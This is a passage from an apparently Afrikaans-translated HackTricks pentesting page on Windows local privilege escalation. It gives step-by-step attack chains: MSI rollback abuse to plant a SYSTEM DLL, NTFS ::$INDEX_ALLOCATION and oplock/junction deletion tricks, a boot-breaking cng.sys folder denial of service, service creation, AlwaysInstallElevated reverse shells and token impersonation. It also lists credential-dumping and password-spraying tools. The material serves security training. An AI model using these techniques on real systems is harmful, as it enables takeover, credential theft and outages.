.rbf-lĂȘer handmatig. -
Nou is
C:\Config.Msileeg, gereed om gekaap te word.
Op hierdie punt, aktiveer die SYSTEM-vlak arbitrary folder delete-kwetsbaarheid om
C:\Config.Msite verwyder.
- Fase 2 â Rollback-skripte vervang met kwaadwillige
-
Stap 6: Rekonstrueer
C:\Config.Msimet swakke ACLs -
Herstel die
C:\Config.Msigids self. -
Stel swakke DACLs in (bv. Everyone:F), en hou ân handle oop met
WRITE_DAC. -
Stap 7: Voer nog ân installasie uit
-
Installeer die
.msiweer, met: -
TARGETDIR: Skryfbare ligging. -
ERROROUT: ân veranderlike wat ân geforseerde mislukking aktiveer. -
Hierdie installasie sal gebruik word om weer rollback te trigger, wat
.rbsen.rbflees. -
Stap 8: Monitor vir
.rbs -
Gebruik
ReadDirectoryChangesWomC:\Config.Msite monitor totdat ân nuwe.rbsverskyn. -
Vang die lĂȘernaam op.
-
Stap 9: Sinchroniseer voor rollback
-
Die
.msisluit ân aangepaste installasie-aksie (SyncBeforeRollback) in wat: -
Sein ân gebeurtenis wanneer die
.rbsgeskep word. -
Wag dan voordat dit voortgaan.
-
Stap 10: Herstel swakke ACLs
-
Nadat die
.rbs createdsein ontvang is: -
Die Windows Installer herskryf sterk ACLs na
C:\Config.Msi. -
Maar aangesien jy steeds ân handle met
WRITE_DAChet, kan jy weer swakke ACLs toepas.
ACLs word slegs by die opening van ân handle afgedwing, dus kan jy steeds na die gids skryf.
-
Stap 11: Plaas valse
.rbsen.rbf -
Oorskryf die
.rbs-lĂȘer met ân valse rollback-skrip wat Windows vertel om: -
Herstel jou
.rbf-lĂȘer (kwaadwillige DLL) na ân geprivilegieerde ligging (bv.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL). -
Skryf jou valse
.rbfneer wat ân kwaadwillige SYSTEM-vlak payload DLL bevat. -
Stap 12: Trigger die rollback
-
Sein die sinchroniseringsgebeurtenis sodat die installeerder hervat.
-
ân type 19 custom action (
ErrorOut) is gekonfigureer om die installasie op ân doelbewuste wyse te laat misluk op ân bekende punt. -
Dit veroorsaak dat rollback begin.
-
Stap 13: SYSTEM installeer jou DLL
-
Windows Installer:
-
Lees jou kwaadwillige
.rbs. -
Kopieer jou
.rbfDLL na die teiken-ligging. -
Jy het nou jou kwaadwillige DLL in ân SYSTEM-gelaaide pad.
-
Finale stap: Voer SYSTEM-kode uit
-
Voer ân vertroude auto-elevated binary uit (bv.
osk.exe) wat die DLL laai wat jy gekaap het. -
Boom: Jou kode word uitgevoer as SYSTEM.
Van Willekeurige lĂȘer verwyder/verplaas/hernoem na SYSTEM EoP
Die hoof MSI rollback-tegniek (hierbo) veronderstel dat jy ân hele gids kan verwyder (bv. C:\Config.Msi). Maar wat as jou kwesbaarheid slegs arbitrary file deletion toelaat?
Jy kan NTFS internals misbruik: elke gids het ân versteekte alternate data stream genaamd:
C:\SomeFolder::$INDEX_ALLOCATION
Hierdie stroom stoor die indeksmetadata van die gids.
Dus, as jy die ::$INDEX_ALLOCATION stroom verwyder van ân gids, verwyder NTFS die hele gids uit die lĂȘerstelsel.
Jy kan dit doen met standaard lĂȘerverwyderings-APIs soos:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
Alhoewel jy ân file delete API aanroep, verwyder dit die folder self.
Van Folder Contents Delete na SYSTEM EoP
Wat as jou primitive jou nie toelaat om arbitrĂȘre files/folders te verwyder nie, maar dit laat wel die verwydering van die contents van ân aanvaller-beheerde folder toe?
- Stap 1: Stel ân lok folder en file op
- Skep:
C:\temp\folder1 - Binne dit:
C:\temp\folder1\file1.txt
- Stap 2: Plaas ân oplock op
file1.txt
- Die oplock pauzeer uitvoering wanneer ân geprivilegieerde proses probeer om
file1.txtte verwyder.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Stap 3: Aktiveer die SYSTEM-proses (bv.
SilentCleanup)
- Hierdie proses skandeer gidse (bv.
%TEMP%) en probeer hul inhoud verwyder. - Wanneer dit by
file1.txtuitkom, word die oplock geaktiveer en gee dit beheer aan jou callback.
- Stap 4: Binne die oplock callback â herlei die verwydering
-
Opsie A: Verskuif
file1.txtna ân ander plek -
Dit maak
folder1leeg sonder om die oplock te breek. -
Moet nie
file1.txtdirek verwyder nie â dit sou die oplock voortydig vrylaat. -
Opsie B: Skakel
folder1om in ân junction:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- Opsie C: Skep ân symlink in
\RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
Dit mik op die NTFS interne stroom wat gidsmetadata stoor â deur dit te verwyder verwyder jy die gids.
- Stap 5: Laat die oplock los
- SYSTEM-proses gaan voort en probeer om
file1.txtuit te vee. - Maar nou, weens die junction + symlink, verwyder dit eintlik:
C:\Config.Msi::$INDEX_ALLOCATION
Resultaat: C:\Config.Msi word deur SYSTEM verwyder.
Van Arbitraire Gids-Skep na Permanente DoS
Benut ân primitief wat jou toelaat om ân ewekansige gids as SYSTEM/admin te skep â selfs al kan jy nie lĂȘers skryf of swak permissies stel.
Skep ân gids (nie ân lĂȘer nie) met die naam van ân kritieke Windows driver, bv.:
C:\Windows\System32\cng.sys
- Hierdie pad stem gewoonlik ooreen met die
cng.syskernel-mode driver. - As jy dit voorskep as ân gidsâ, misluk Windows om die werklike driver tydens opstart te laai.
- Dan probeer Windows
cng.systydens opstart laai. - Dit sien die gids, luk dit nie om die werklike driver op te los nie, en stort die stelsel neer of stop die opstart.
- Daar is geen alternatiewe en geen herstel sonder eksterne ingryping (bv. opstartherstel of skyftoegang).
Van High Integrity na System
Nuwe diens
As jy reeds in ân High Integrity-proses loop, kan die pad na SYSTEM maklik wees deur net ân nuwe diens te skep en uit te voer:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
Wanneer jy ân service-binary skep, maak seker dit is ân geldige service of dat die binary die nodige aksies uitvoer om aan te bly, aangesien dit binne 20s gedood sal word as dit nie ân geldige service is nie.
AlwaysInstallElevated
Vanaf ân High Integrity-proses kan jy probeer om die AlwaysInstallElevated registrieinskrywings te aktiveer en ân reverse shell te installeer met ân .msi wrapper.
Meer inligting oor die registrie-sleutels wat betrokke is en hoe om ân .msi pakket te installeer, hier.
High + SeImpersonate privilege to System
Jy kan vind die kode hier.
From SeDebug + SeImpersonate to Full Token privileges
As jy daardie token privileges het (waarskynlik sal jy dit in ân reeds High Integrity-proses vind), sal jy in staat wees om byna enige proses oop te maak (nie-beskermde prosesse) met die SeDebug privilege, die token van die proses te kopieer, en ân arbitrĂȘre proses met daardie token te skep.
Hierdie tegniek kies gewoonlik ân proses wat as SYSTEM loop met al die token privileges (ja, jy kan SYSTEM-prosesse vind sonder al die token privileges).
Jy kan ân voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind.
Named Pipes
Hierdie tegniek word deur meterpreter gebruik om in getsystem te eskaleer. Die tegniek behels die skep van ân pipe en dan die skep/misbruik van ân service om op daardie pipe te skryf. Dan sal die server wat die pipe geskep het met die SeImpersonate privilege in staat wees om die token van die pipe-kliĂ«nt (die service) te impersonate en SYSTEM-privileges te verkry.
As jy meer wil leer oor name pipes, moet jy hier lees.
As jy ân voorbeeld wil sien van hoe om van high integrity na System te gaan met name pipes, lees dit hier.
Dll Hijacking
As jy daarin slaag om ân dll te hijack wat deur ân proses wat as SYSTEM loop gelaai word, sal jy arbitrĂȘre kode met daardie permissies kan uitvoer. Dll Hijacking is dus ook nuttig vir hierdie tipe privilege escalation, en verder is dit baie makliker om vanaf ân high integrity-proses te bereik aangesien dit write permissions op die gidse het wat vir die laai van dllâs gebruik word.
Jy kan meer leer oor Dll hijacking hier.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Lees: https://github.com/itm4n/FullPowers
Meer hulp
Nuttige gereedskap
Beste hulpmiddel om Windows local privilege escalation-vektore te soek: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) â Kontroleer vir wankonfigurasies en sensitiewe lĂȘers (kyk hier). Gedetekteer.
JAWS â Kontroleer vir moontlike wankonfigurasies en versamel inligting (kyk hier).
privesc â Kontroleer vir wankonfigurasies
SessionGopher â Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie-inligting. Gebruik -Thorough lokaal.
Invoke-WCMDump â Haal credentials uit Credential Manager. Gedetekteer.
DomainPasswordSpray â Spray versamelde wagwoorde oor die domain
Inveigh â Inveigh is ân PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle instrument.
WindowsEnum â Basiese privesc Windows enumerasieSherlock ~~~~ â Soek na bekende privesc kwesbaarhede (DEPRECATED for Watson)WINspect â Lokale kontroles (Need Admin rights)
Exe
Watson â Soek na bekende privesc kwesbaarhede (moet saamgestel word met VisualStudio) (precompiled)
SeatBelt â Enumereer die gasheer en soek na wankonfigurasies (meer ân inligting-insamelingshulpmiddel as privesc) (moet saamgestel word) (precompiled)
LaZagne â Haal credentials uit baie sagteware (precompiled exe in github)
SharpUP â Port van PowerUp na C#Beroot ~~~~ â Kontroleer vir wankonfigurasies (uitvoerbare lĂȘer precompiled in github). Nie aanbeveel nie. Werk nie goed in Win10 nie.Windows-Privesc-Check â Kontroleer vir moontlike wankonfigurasies (exe vanaf python). Nie aanbeveel nie. Werk nie goed in Win10 nie.
Bat
winPEASbat â Hulpmiddel gebaseer op hierdie pos (dit benodig nie accesschk om behoorlik te werk nie, maar dit kan dit gebruik).
Local
Windows-Exploit-Suggester â Lees die output van systeminfo en beveel werkende exploits aan (lokale python)
Windows Exploit Suggester Next Generation â Lees die output van systeminfo en beveel werkende exploits aan (lokale python)
Meterpreter
multi/recon/local_exploit_suggestor
Jy moet die projek kompileer met die korrekte weergawe van .NET (sien hierdie). Om die geĂŻnstalleerde weergawe van .NET op die slagoffer-host te sien kan jy doen:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
Verwysings
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF â VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research â Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

